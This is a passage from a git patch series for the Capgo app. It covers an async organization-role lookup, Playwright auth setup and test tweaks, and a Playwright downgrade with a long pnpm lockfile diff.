 function minVersion(val: string, min = '4.6.99') {
diff --git a/src/stores/organization.ts b/src/stores/organization.ts
index 2ed2296f96..5fba261376 100644
--- a/src/stores/organization.ts
+++ b/src/stores/organization.ts
@@ -50,7 +50,9 @@ export const useOrganizationStore = defineStore('organization', () => {
     currentOrganization.value = value
   }
 
-  const getCurrentRole = (appOwner: string, appId?: string, channelId?: number): OrganizationRole => {
+  const getCurrentRole = async (appOwner: string, appId?: string, channelId?: number): Promise<OrganizationRole> => {
+    if (_organizations.value.size === 0)
+      await fetchOrganizations()
     for (const org of _organizations.value.values()) {
       if (org.created_by === appOwner)
         return org.role as OrganizationRole

From fa33f60b9d09cb14dbcb92d0c84a1cd0334dea67 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Sat, 25 Nov 2023 17:25:08 +0100
Subject: [PATCH 78/96] Check row.lengths instead of rowCount

---
 tests_backend/tests/backend/updates_test.ts | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/tests_backend/tests/backend/updates_test.ts b/tests_backend/tests/backend/updates_test.ts
index 24f260f08c..bf1f2661b0 100644
--- a/tests_backend/tests/backend/updates_test.ts
+++ b/tests_backend/tests/backend/updates_test.ts
@@ -315,7 +315,7 @@ async function forceSupabaseTaskQueueFlush(_supabase: SupabaseType) {
     while (shouldPool) {
       await delay(50)
       const poolResult = await connection.queryArray('SELECT * FROM net._http_response WHERE id=$1', [reqId])
-      shouldPool = poolResult.rowCount !== 1
+      shouldPool = poolResult.rows.length !== 1
     }
   })
 

From 4cbc55fe2432924a2f018264fab3fa187d9f60bd Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Sat, 25 Nov 2023 17:51:39 +0100
Subject: [PATCH 79/96] Improve setup?

---
 tests/auth.setup.ts | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/tests/auth.setup.ts b/tests/auth.setup.ts
index a24cc9be96..c53522c4a9 100644
--- a/tests/auth.setup.ts
+++ b/tests/auth.setup.ts
@@ -6,6 +6,10 @@ const authFile2 = 'playwright/.auth/user2.json'
 
 setup('authenticate as test1', async ({ page }) => {
   await page.goto(`${BASE_URL}/`)
+  
+  const supabaseEmail = await page.evaluate(() => localStorage.getItem('supabase-email'))\
+  if (supabaseEmail)
+    return
 
   const email = 'test@capgo.app'
 
@@ -26,6 +30,10 @@ setup('authenticate as test1', async ({ page }) => {
 setup('authenticate as test2', async ({ page }) => {
   await page.goto(`${BASE_URL}/`)
 
+  const supabaseEmail = await page.evaluate(() => localStorage.getItem('supabase-email'))\
+  if (supabaseEmail)
+    return
+
   const email = 'test2@capgo.app'
 
   // Fill in the username and password fields

From 2ee4fefe940ff658e3c86c226ef54fec0ce9ca83 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Sat, 25 Nov 2023 18:18:05 +0100
Subject: [PATCH 80/96] Fix typo

---
 tests/auth.setup.ts | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/tests/auth.setup.ts b/tests/auth.setup.ts
index c53522c4a9..3be9190ff8 100644
--- a/tests/auth.setup.ts
+++ b/tests/auth.setup.ts
@@ -7,7 +7,7 @@ const authFile2 = 'playwright/.auth/user2.json'
 setup('authenticate as test1', async ({ page }) => {
   await page.goto(`${BASE_URL}/`)
   
-  const supabaseEmail = await page.evaluate(() => localStorage.getItem('supabase-email'))\
+  const supabaseEmail = await page.evaluate(() => localStorage.getItem('supabase-email'))
   if (supabaseEmail)
     return
 
@@ -30,7 +30,7 @@ setup('authenticate as test1', async ({ page }) => {
 setup('authenticate as test2', async ({ page }) => {
   await page.goto(`${BASE_URL}/`)
 
-  const supabaseEmail = await page.evaluate(() => localStorage.getItem('supabase-email'))\
+  const supabaseEmail = await page.evaluate(() => localStorage.getItem('supabase-email'))
   if (supabaseEmail)
     return
 

From 71130930bb9f53c77edc1ce61d296b38168f71ed Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Sun, 26 Nov 2023 13:14:42 +0100
Subject: [PATCH 81/96] Make selectable tests serial

---
 tests/selectable_disallow.spec.ts | 1 +
 1 file changed, 1 insertion(+)

diff --git a/tests/selectable_disallow.spec.ts b/tests/selectable_disallow.spec.ts
index d14feb78c1..56a53b68db 100644
--- a/tests/selectable_disallow.spec.ts
+++ b/tests/selectable_disallow.spec.ts
@@ -3,6 +3,7 @@ import { expect, test } from '@playwright/test'
 import { BASE_URL, beforeEachTest, expectPopout, useSupabase } from './utils'
 
 test.beforeEach(beforeEachTest)
+test.describe.configure({ mode: 'serial' })
 
 test('test selectable disallow (no AB)', async ({ page }) => {
   // Get supabase (auth + create client)

From 728851a3f3e483f5452ddc19ef653ec5c8b8ad16 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Sun, 26 Nov 2023 13:34:01 +0100
Subject: [PATCH 82/96] More serial tests

---
 tests/auth.setup.ts | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/tests/auth.setup.ts b/tests/auth.setup.ts
index 3be9190ff8..876a84fc8e 100644
--- a/tests/auth.setup.ts
+++ b/tests/auth.setup.ts
@@ -4,11 +4,13 @@ const BASE_URL = 'http://localhost:5173'
 const authFile1 = 'playwright/.auth/user1.json'
 const authFile2 = 'playwright/.auth/user2.json'
 
+setup.describe.configure({ mode: 'serial' })
+
 setup('authenticate as test1', async ({ page }) => {
   await page.goto(`${BASE_URL}/`)
   
   const supabaseEmail = await page.evaluate(() => localStorage.getItem('supabase-email'))
-  if (supabaseEmail)
+  if (supabaseEmail !== null)
     return
 
   const email = 'test@capgo.app'
@@ -31,7 +33,7 @@ setup('authenticate as test2', async ({ page }) => {
   await page.goto(`${BASE_URL}/`)
 
   const supabaseEmail = await page.evaluate(() => localStorage.getItem('supabase-email'))
-  if (supabaseEmail)
+  if (supabaseEmail !== null)
     return
 
   const email = 'test2@capgo.app'

From 5adb9daa56494238ee07a509c009929258fb6e4a Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Sun, 26 Nov 2023 14:53:49 +0100
Subject: [PATCH 83/96] Fix organization store

---
 src/stores/organization.ts | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/src/stores/organization.ts b/src/stores/organization.ts
index 5fba261376..cb21bfda4a 100644
--- a/src/stores/organization.ts
+++ b/src/stores/organization.ts
@@ -31,14 +31,14 @@ export const useOrganizationStore = defineStore('organization', () => {
   const currentOrganization = ref<Organization>()
   const currentRole = ref<OrganizationRole | null>(null)
 
-  watch(currentOrganization, (currentOrganization) => {
+  watch(currentOrganization, async (currentOrganization) => {
     if (!currentOrganization) {
       currentRole.value = null
       return
     }
 
     // eslint-disable-next-line @typescript-eslint/no-use-before-define
-    currentRole.value = getCurrentRole(currentOrganization.created_by, undefined, undefined)
+    currentRole.value = await getCurrentRole(currentOrganization.created_by, undefined, undefined)
     console.log('current role', currentRole.value)
   })
 

From 84995e62a562f7d5fac146f4ad7e1dba2e381405 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Sun, 26 Nov 2023 15:08:53 +0100
Subject: [PATCH 84/96] Fix select

---
 tests/organization_system.spec.ts | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/tests/organization_system.spec.ts b/tests/organization_system.spec.ts
index b0a5cc379c..dc5f3a3690 100644
--- a/tests/organization_system.spec.ts
+++ b/tests/organization_system.spec.ts
@@ -408,7 +408,7 @@ test.describe('Test organization system permissions', () => {
         const supabase = await useSupabaseAdmin() // Client supabase
         const { error: allChannelsSupabaseError, count: allChannelsCount } = await supabase
           .from('channels')
-          .select('', { count: 'exact' })
+          .select('*', { count: 'exact' })
           .eq('app_id', 'com.demo.app')
         await expect(allChannelsSupabaseError).toBeFalsy()
         expect (allChannelsCount).toBeTruthy()

From 8d3f432f0270d14cc60d0434d6c75b5eb064f548 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Sun, 26 Nov 2023 19:24:07 +0100
Subject: [PATCH 85/96] skip setup for existing storage state

---
 tests/auth.setup.ts | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/tests/auth.setup.ts b/tests/auth.setup.ts
index 876a84fc8e..bb51ca4a79 100644
--- a/tests/auth.setup.ts
+++ b/tests/auth.setup.ts
@@ -1,4 +1,5 @@
 import { expect, test as setup } from '@playwright/test'
+import { existsSync } from 'node:fs';
 
 const BASE_URL = 'http://localhost:5173'
 const authFile1 = 'playwright/.auth/user1.json'
@@ -9,8 +10,7 @@ setup.describe.configure({ mode: 'serial' })
 setup('authenticate as test1', async ({ page }) => {
   await page.goto(`${BASE_URL}/`)
   
-  const supabaseEmail = await page.evaluate(() => localStorage.getItem('supabase-email'))
-  if (supabaseEmail !== null)
+  if (existsSync(authFile2))
     return
 
   const email = 'test@capgo.app'
@@ -32,8 +32,7 @@ setup('authenticate as test1', async ({ page }) => {
 setup('authenticate as test2', async ({ page }) => {
   await page.goto(`${BASE_URL}/`)
 
-  const supabaseEmail = await page.evaluate(() => localStorage.getItem('supabase-email'))
-  if (supabaseEmail !== null)
+  if (existsSync(authFile2))
     return
 
   const email = 'test2@capgo.app'

From 39504c8cb490292813d7fb537aab12af89007c05 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Mon, 27 Nov 2023 04:56:10 +0100
Subject: [PATCH 86/96] Downgrade playwright

---
 package.json        |   2 +-
 pnpm-lock.yaml      | 743 +++++++++++++++++++-------------------------
 tests/auth.setup.ts |   7 -
 3 files changed, 313 insertions(+), 439 deletions(-)

diff --git a/package.json b/package.json
index 0980aca364..5c5302c728 100644
--- a/package.json
+++ b/package.json
@@ -146,7 +146,7 @@
     "@iconify-json/ion": "1.1.12",
     "@iconify-json/ls": "1.1.5",
     "@iconify/json": "^2.2.145",
-    "@playwright/test": "^1.40.0",
+    "@playwright/test": "1.39",
     "@tailwindcss/aspect-ratio": "^0.4.2",
     "@tailwindcss/container-queries": "^0.1.1",
     "@tailwindcss/line-clamp": "^0.4.4",
diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml
index 320f5f6b8a..0df96a2b5d 100644
--- a/pnpm-lock.yaml
+++ b/pnpm-lock.yaml
@@ -302,8 +302,8 @@ devDependencies:
     specifier: ^2.2.145
     version: 2.2.145
   '@playwright/test':
-    specifier: ^1.40.0
-    version: 1.40.0
+    specifier: '1.39'
+    version: 1.39.0
   '@tailwindcss/aspect-ratio':
     specifier: ^0.4.2
     version: 0.4.2(tailwindcss@3.3.5)
@@ -357,7 +357,7 @@ devDependencies:
     version: 3.1.0(vite@5.0.2)(vue@3.3.8)
   '@vue/cli-service':
     specifier: 5.0.8
-    version: 5.0.8(@babel/core@7.22.11)(@vue/compiler-sfc@3.3.8)(vue@3.3.8)
+    version: 5.0.8(@babel/core@7.23.3)(@vue/compiler-sfc@3.3.8)(vue@3.3.8)
   '@vue/compiler-sfc':
     specifier: 3.3.8
     version: 3.3.8
@@ -591,29 +591,6 @@ packages:
     engines: {node: '>=6.9.0'}
     dev: true
 
-  /@babel/core@7.22.11:
-    resolution: {integrity: sha512-lh7RJrtPdhibbxndr6/xx0w8+CVlY5FJZiaSz908Fpy+G0xkBFTvwLcKJFF4PJxVfGhVWNebikpWGnOoC71juQ==}
-    engines: {node: '>=6.9.0'}
-    dependencies:
-      '@ampproject/remapping': 2.2.1
-      '@babel/code-frame': 7.22.10
-      '@babel/generator': 7.22.10
-      '@babel/helper-compilation-targets': 7.22.10
-      '@babel/helper-module-transforms': 7.22.9(@babel/core@7.22.11)
-      '@babel/helpers': 7.22.11
-      '@babel/parser': 7.22.11
-      '@babel/template': 7.22.5
-      '@babel/traverse': 7.22.11
-      '@babel/types': 7.22.11
-      convert-source-map: 1.9.0
-      debug: 4.3.4(supports-color@8.1.1)
-      gensync: 1.0.0-beta.2
-      json5: 2.2.3
-      semver: 6.3.1
-    transitivePeerDependencies:
-      - supports-color
-    dev: true
-
   /@babel/core@7.23.3:
     resolution: {integrity: sha512-Jg+msLuNuCJDyBvFv5+OKOUjWMZgd85bKjbICd3zWrKAo+bJ49HJufi7CQE0q0uR8NGyO6xkCACScNqyjHSZew==}
     engines: {node: '>=6.9.0'}
@@ -668,18 +645,7 @@ packages:
     resolution: {integrity: sha512-m1EP3lVOPptR+2DwD125gziZNcmoNSHGmJROKoy87loWUQyJaVXDgpmruWqDARZSmtYQ+Dl25okU8+qhVzuykw==}
     engines: {node: '>=6.9.0'}
     dependencies:
-      '@babel/types': 7.22.11
-    dev: true
-
-  /@babel/helper-compilation-targets@7.22.10:
-    resolution: {integrity: sha512-JMSwHD4J7SLod0idLq5PKgI+6g/hLD/iuWBq08ZX49xE14VpVEojJ5rHWptpirV2j020MvypRLAXAO50igCJ5Q==}
-    engines: {node: '>=6.9.0'}
-    dependencies:
-      '@babel/compat-data': 7.22.9
-      '@babel/helper-validator-option': 7.22.5
-      browserslist: 4.21.10
-      lru-cache: 5.1.1
-      semver: 6.3.1
+      '@babel/types': 7.23.4
     dev: true
 
   /@babel/helper-compilation-targets@7.22.15:
@@ -693,38 +659,20 @@ packages:
       semver: 6.3.1
     dev: true
 
-  /@babel/helper-compilation-targets@7.22.5(@babel/core@7.22.11):
+  /@babel/helper-compilation-targets@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-Ji+ywpHeuqxB8WDxraCiqR0xfhYjiDE/e6k7FuIaANnoOFxAHskHChz4vA1mJC9Lbm01s1PVAGhQY4FUKSkGZw==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0
     dependencies:
       '@babel/compat-data': 7.22.5
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-validator-option': 7.22.5
       browserslist: 4.21.10
       lru-cache: 5.1.1
       semver: 6.3.1
     dev: true
 
-  /@babel/helper-create-class-features-plugin@7.22.11(@babel/core@7.22.11):
-    resolution: {integrity: sha512-y1grdYL4WzmUDBRGK0pDbIoFd7UZKoDurDzWEoNMYoj1EL+foGRQNyPWDcC+YyegN5y1DUsFFmzjGijB3nSVAQ==}
-    engines: {node: '>=6.9.0'}
-    peerDependencies:
-      '@babel/core': ^7.0.0
-    dependencies:
-      '@babel/core': 7.22.11
-      '@babel/helper-annotate-as-pure': 7.22.5
-      '@babel/helper-environment-visitor': 7.22.5
-      '@babel/helper-function-name': 7.22.5
-      '@babel/helper-member-expression-to-functions': 7.22.5
-      '@babel/helper-optimise-call-expression': 7.22.5
-      '@babel/helper-replace-supers': 7.22.9(@babel/core@7.22.11)
-      '@babel/helper-skip-transparent-expression-wrappers': 7.22.5
-      '@babel/helper-split-export-declaration': 7.22.6
-      semver: 6.3.1
-    dev: true
-
   /@babel/helper-create-class-features-plugin@7.22.15(@babel/core@7.23.3):
     resolution: {integrity: sha512-jKkwA59IXcvSaiK2UN45kKwSC9o+KuoXsBDvHvU/7BecYIp8GQ2UwrVvFgJASUT+hBnwJx6MhvMCuMzwZZ7jlg==}
     engines: {node: '>=6.9.0'}
@@ -743,25 +691,25 @@ packages:
       semver: 6.3.1
     dev: true
 
-  /@babel/helper-create-regexp-features-plugin@7.22.5(@babel/core@7.22.11):
+  /@babel/helper-create-regexp-features-plugin@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-1VpEFOIbMRaXyDeUwUfmTIxExLwQ+zkW+Bh5zXpApA3oQedBx9v/updixWxnx/bZpKw7u8VxWjb/qWpIcmPq8A==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-annotate-as-pure': 7.22.5
       regexpu-core: 5.3.2
       semver: 6.3.1
     dev: true
 
-  /@babel/helper-define-polyfill-provider@0.4.0(@babel/core@7.22.11):
+  /@babel/helper-define-polyfill-provider@0.4.0(@babel/core@7.23.3):
     resolution: {integrity: sha512-RnanLx5ETe6aybRi1cO/edaRH+bNYWaryCEmjDDYyNr4wnSzyOp8T0dWipmqVHKEY3AbVKUom50AKSlj1zmKbg==}
     peerDependencies:
       '@babel/core': ^7.4.0-0
     dependencies:
-      '@babel/core': 7.22.11
-      '@babel/helper-compilation-targets': 7.22.10
+      '@babel/core': 7.23.3
+      '@babel/helper-compilation-targets': 7.22.15
       '@babel/helper-plugin-utils': 7.22.5
       debug: 4.3.4(supports-color@8.1.1)
       lodash.debounce: 4.0.8
@@ -804,13 +752,6 @@ packages:
       '@babel/types': 7.23.4
     dev: true
 
-  /@babel/helper-member-expression-to-functions@7.22.5:
-    resolution: {integrity: sha512-aBiH1NKMG0H2cGZqspNvsaBe6wNGjbJjuLy29aU+eDZjSbbN53BaxlpB02xm9v34pLTZ1nIQPFYn2qMZoa5BQQ==}
-    engines: {node: '>=6.9.0'}
-    dependencies:
-      '@babel/types': 7.22.11
-    dev: true
-
   /@babel/helper-member-expression-to-functions@7.23.0:
     resolution: {integrity: sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA==}
     engines: {node: '>=6.9.0'}
@@ -832,20 +773,6 @@ packages:
       '@babel/types': 7.22.11
     dev: true
 
-  /@babel/helper-module-transforms@7.22.9(@babel/core@7.22.11):
-    resolution: {integrity: sha512-t+WA2Xn5K+rTeGtC8jCsdAH52bjggG5TKRuRrAGNM/mjIbO4GxvlLMFOEz9wXY5I2XQ60PMFsAG2WIcG82dQMQ==}
-    engines: {node: '>=6.9.0'}
-    peerDependencies:
-      '@babel/core': ^7.0.0
-    dependencies:
-      '@babel/core': 7.22.11
-      '@babel/helper-environment-visitor': 7.22.5
-      '@babel/helper-module-imports': 7.22.5
-      '@babel/helper-simple-access': 7.22.5
-      '@babel/helper-split-export-declaration': 7.22.6
-      '@babel/helper-validator-identifier': 7.22.5
-    dev: true
-
   /@babel/helper-module-transforms@7.23.3(@babel/core@7.23.3):
     resolution: {integrity: sha512-7bBs4ED9OmswdfDzpz4MpWgSrV7FXlc3zIagvLFjS5H+Mk7Snr21vQ6QwrsoCGMfNC4e4LQPdoULEt4ykz0SRQ==}
     engines: {node: '>=6.9.0'}
@@ -872,17 +799,17 @@ packages:
     engines: {node: '>=6.9.0'}
     dev: true
 
-  /@babel/helper-remap-async-to-generator@7.22.5(@babel/core@7.22.11):
+  /@babel/helper-remap-async-to-generator@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-cU0Sq1Rf4Z55fgz7haOakIyM7+x/uCFwXpLPaeRzfoUtAEAuUZjZvFPjL/rk5rW693dIgn2hng1W7xbT7lWT4g==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-annotate-as-pure': 7.22.5
-      '@babel/helper-environment-visitor': 7.22.5
+      '@babel/helper-environment-visitor': 7.22.20
       '@babel/helper-wrap-function': 7.22.5
-      '@babel/types': 7.22.11
+      '@babel/types': 7.23.4
     transitivePeerDependencies:
       - supports-color
     dev: true
@@ -899,18 +826,6 @@ packages:
       '@babel/helper-optimise-call-expression': 7.22.5
     dev: true
 
-  /@babel/helper-replace-supers@7.22.9(@babel/core@7.22.11):
-    resolution: {integrity: sha512-LJIKvvpgPOPUThdYqcX6IXRuIcTkcAub0IaDRGCZH0p5GPUp7PhRU9QVgFcDDd51BaPkk77ZjqFwh6DZTAEmGg==}
-    engines: {node: '>=6.9.0'}
-    peerDependencies:
-      '@babel/core': ^7.0.0
-    dependencies:
-      '@babel/core': 7.22.11
-      '@babel/helper-environment-visitor': 7.22.5
-      '@babel/helper-member-expression-to-functions': 7.23.0
-      '@babel/helper-optimise-call-expression': 7.22.5
-    dev: true
-
   /@babel/helper-replace-supers@7.22.9(@babel/core@7.23.3):
     resolution: {integrity: sha512-LJIKvvpgPOPUThdYqcX6IXRuIcTkcAub0IaDRGCZH0p5GPUp7PhRU9QVgFcDDd51BaPkk77ZjqFwh6DZTAEmGg==}
     engines: {node: '>=6.9.0'}
@@ -976,21 +891,10 @@ packages:
     resolution: {integrity: sha512-bYqLIBSEshYcYQyfks8ewYA8S30yaGSeRslcvKMvoUk6HHPySbxHq9YRi6ghhzEU+yhQv9bP/jXnygkStOcqZw==}
     engines: {node: '>=6.9.0'}
     dependencies:
-      '@babel/helper-function-name': 7.22.5
-      '@babel/template': 7.22.5
-      '@babel/traverse': 7.22.11
-      '@babel/types': 7.22.11
-    transitivePeerDependencies:
-      - supports-color
-    dev: true
-
-  /@babel/helpers@7.22.11:
-    resolution: {integrity: sha512-vyOXC8PBWaGc5h7GMsNx68OH33cypkEDJCHvYVVgVbbxJDROYVtexSk0gK5iCF1xNjRIN2s8ai7hwkWDq5szWg==}
-    engines: {node: '>=6.9.0'}
-    dependencies:
-      '@babel/template': 7.22.5
-      '@babel/traverse': 7.22.11
-      '@babel/types': 7.22.11
+      '@babel/helper-function-name': 7.23.0
+      '@babel/template': 7.22.15
+      '@babel/traverse': 7.23.4
+      '@babel/types': 7.23.4
     transitivePeerDependencies:
       - supports-color
     dev: true
@@ -1038,26 +942,26 @@ packages:
     dependencies:
       '@babel/types': 7.22.11
 
-  /@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-NP1M5Rf+u2Gw9qfSO4ihjcTGW5zXTi36ITLd4/EoAcEhIZ0yjMqmftDNl3QC19CX7olhrjpyU454g/2W7X0jvQ==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-31Bb65aZaUwqCbWMnZPduIZxCBngHFlzyN6Dq6KAJjtx+lx6ohKHubc61OomYi7XwVD4Ol0XCVz4h+pYFR048g==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.13.0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
       '@babel/helper-skip-transparent-expression-wrappers': 7.22.5
-      '@babel/plugin-transform-optional-chaining': 7.22.5(@babel/core@7.22.11)
+      '@babel/plugin-transform-optional-chaining': 7.22.5(@babel/core@7.23.3)
     dev: true
 
   /@babel/plugin-proposal-decorators@7.23.3(@babel/core@7.23.3):
@@ -1074,52 +978,52 @@ packages:
       '@babel/plugin-syntax-decorators': 7.23.3(@babel/core@7.23.3)
     dev: true
 
-  /@babel/plugin-proposal-private-property-in-object@7.21.0-placeholder-for-preset-env.2(@babel/core@7.22.11):
+  /@babel/plugin-proposal-private-property-in-object@7.21.0-placeholder-for-preset-env.2(@babel/core@7.23.3):
     resolution: {integrity: sha512-SOSkfJDddaM7mak6cPEpswyTRnuRltl429hMraQEglW+OkovnCzsiszTmsrlY//qLFjCpQDFRvjdm2wA5pPm9w==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
     dev: true
 
-  /@babel/plugin-proposal-unicode-property-regex@7.18.6(@babel/core@7.22.11):
+  /@babel/plugin-proposal-unicode-property-regex@7.18.6(@babel/core@7.23.3):
     resolution: {integrity: sha512-2BShG/d5yoZyXZfVePH91urL5wTG6ASZU9M4o03lKK8u8UW1y08OMttBSOADTcJrnPMpvDXRG3G8fyLh4ovs8w==}
     engines: {node: '>=4'}
     deprecated: This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-unicode-property-regex instead.
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
-      '@babel/helper-create-regexp-features-plugin': 7.22.5(@babel/core@7.22.11)
+      '@babel/core': 7.23.3
+      '@babel/helper-create-regexp-features-plugin': 7.22.5(@babel/core@7.23.3)
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-syntax-async-generators@7.8.4(@babel/core@7.22.11):
+  /@babel/plugin-syntax-async-generators@7.8.4(@babel/core@7.23.3):
     resolution: {integrity: sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-syntax-class-properties@7.12.13(@babel/core@7.22.11):
+  /@babel/plugin-syntax-class-properties@7.12.13(@babel/core@7.23.3):
     resolution: {integrity: sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-syntax-class-static-block@7.14.5(@babel/core@7.22.11):
+  /@babel/plugin-syntax-class-static-block@7.14.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
@@ -1133,41 +1037,31 @@ packages:
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-syntax-dynamic-import@7.8.3(@babel/core@7.22.11):
+  /@babel/plugin-syntax-dynamic-import@7.8.3(@babel/core@7.23.3):
     resolution: {integrity: sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-syntax-export-namespace-from@7.8.3(@babel/core@7.22.11):
+  /@babel/plugin-syntax-export-namespace-from@7.8.3(@babel/core@7.23.3):
     resolution: {integrity: sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q==}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-syntax-import-assertions@7.22.5(@babel/core@7.22.11):
+  /@babel/plugin-syntax-import-assertions@7.22.5(@babel/core@7.23.3):
     resolution: {integrity: sha512-rdV97N7KqsRzeNGoWUOK6yUsWarLjE5Su/Snk9IYPU9CwkWHs4t+rTGOvffTR8XGkJMTAdLfO0xVnXm8wugIJg==}
     engines: {node: '>=6.9.0'}
     peerDependencies:
       '@babel/core': ^7.0.0-0
     dependencies:
-      '@babel/core': 7.22.11
-      '@babel/helper-plugin-utils': 7.22.5
-    dev: true
-
-  /@babel/plugin-syntax-import-attributes@7.22.5(@babel/core@7.22.11):
-    resolution: {integrity: sha512-KwvoWDeNKPETmozyFE0P2rOLqh39EoQHNjqizrI5B8Vt0ZNS7M56s7dAiAqbYfiAYOuIzIh96z3iR2ktgu3tEg==}
-    engines: {node: '>=6.9.0'}
-    peerDependencies:
-      '@babel/core': ^7.0.0-0
-    dependencies:
-      '@babel/core': 7.22.11
+      '@babel/core': 7.23.3
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
@@ -1181,15 +1075,6 @@ packages:
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-syntax-import-meta@7.10.4(@babel/core@7.22.11):
-    resolution: {integrity: sha512-Yqfm+XDx0+Prh3VSeEQCPU81yC+JWZ2pDPFSS4ZdpfZhp4MkFMaDC1UqseovEKwSUpnIL7+vK+Clp7bfh0iD7g==}
-    peerDependencies:
-      '@babel/core': ^7.0.0-0
-    dependencies:
-      '@babel/core': 7.22.11
-      '@babel/helper-plugin-utils': 7.22.5
-    dev: true
-
   /@babel/plugin-syntax-import-meta@7.10.4(@babel/core@7.23.3):
     resolution: {integrity: sha512-Yqfm+XDx0+Prh3VSeEQCPU81yC+JWZ2pDPFSS4ZdpfZhp4MkFMaDC1UqseovEKwSUpnIL7+vK+Clp7bfh0iD7g==}
     peerDependencies:
@@ -1199,12 +1084,12 @@ packages:
       '@babel/helper-plugin-utils': 7.22.5
     dev: true
 
-  /@babel/plugin-syntax-json-strings@7.8.3(@babel/core@7.22.11):
+  /@babel/plugin-syntax-json-strings@7.8.3(@babel/core@7.23.3):
